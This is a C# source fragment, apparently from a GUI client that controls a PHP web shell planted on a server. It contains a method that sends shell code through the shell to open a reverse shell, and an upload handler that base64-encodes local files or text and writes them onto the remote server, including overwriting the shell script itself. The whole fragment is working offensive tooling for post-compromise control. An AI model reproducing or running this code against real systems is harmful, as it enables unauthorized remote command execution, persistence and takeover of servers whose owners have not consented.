/// <summary>
/// Task wrapper for popping reverse shell without chankro
/// </summary>
/// <param name="shellCode"></param>
private async Task PopReverseShell(string shellCode)
{
string phpCode = PhpBuilder.ExecuteSystemCode(shellCode, false);
await Task.Run(() => WebRequestHelper.ExecuteRemotePHP(ShellUrl, phpCode, true).ConfigureAwait(false));
if (checkBoxLogShellCode.Checked)
{
LogHelper.AddShellLog(ShellUrl, "Attempted to pop chankro reverse shell with [ " + shellCode + " ] ", LogHelper.LOG_LEVEL.REQUESTED);
}
}
/// <summary>
/// Main upload routine
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private async void btnUpload_Click(object sender, EventArgs e)
{
string phpCode = string.Empty;
btnBrowse.Enabled = false;
btnUpload.Enabled = false;
richTextBox1.Enabled = false;
if (EditingSelf)
{
if (!string.IsNullOrEmpty(richTextBox1.Text))
{
phpCode = Helper.EncodeBase64ToString(richTextBox1.Text);
}
else
{
LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data to self...", LogHelper.LOG_LEVEL.INFO);
btnUpload.Enabled = true;
return;
}
phpCode = PhpBuilder.WriteFileVar(PhpBuilder.phpServerScriptFileName, phpCode);
}
else
{
if (!string.IsNullOrEmpty(LocalFileLocation))
{
phpCode = Convert.ToBase64String(File.ReadAllBytes(LocalFileLocation));
}
else if (!string.IsNullOrEmpty(richTextBox1.Text))
{
phpCode = Helper.EncodeBase64ToString(richTextBox1.Text);
}
else
{
LogHelper.AddShellLog(ShellUrl, "Attempted to upload empty file/data...", LogHelper.LOG_LEVEL.INFO);
btnUpload.Enabled = true;
return;
}
string remoteFileLocation = ServerPath + "/" + txtBoxFileName.Text;
phpCode = PhpBuilder.WriteFile(remoteFileLocation, phpCode);
}
await WebRequestHelper.ExecuteRemotePHP(ShellUrl, phpCode);
btnUpload.Enabled = true;
btnBrowse.Enabled = true;
richTextBox1.Enabled = true;
this.Close();
}
